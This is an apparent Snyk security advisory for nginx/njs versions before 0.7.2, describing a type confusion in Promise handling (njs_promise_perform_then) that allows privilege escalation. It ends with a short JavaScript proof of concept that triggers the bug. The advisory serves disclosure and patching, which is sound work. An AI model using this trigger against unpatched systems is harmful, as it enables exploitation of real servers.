Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade nginx/njs
to version 0.7.2 or higher.
Affected versions of this package are vulnerable to Privilege Escalation due to Type Confusion
vulnerability of the Promise
object in njs_promise_perform_then()
, which can be exploited by manipulation of njs_promise_perform_then()
function with an unknown input.
function main() {
function v0(v1,v2) {
return 1
}
var o = [1,2,3,4,5,6]
const v1 = new Promise(v0);
o.__proto__= v1;
const v5 = [o];
const v7 = Promise.race(v5);
console.log(o)
}
main();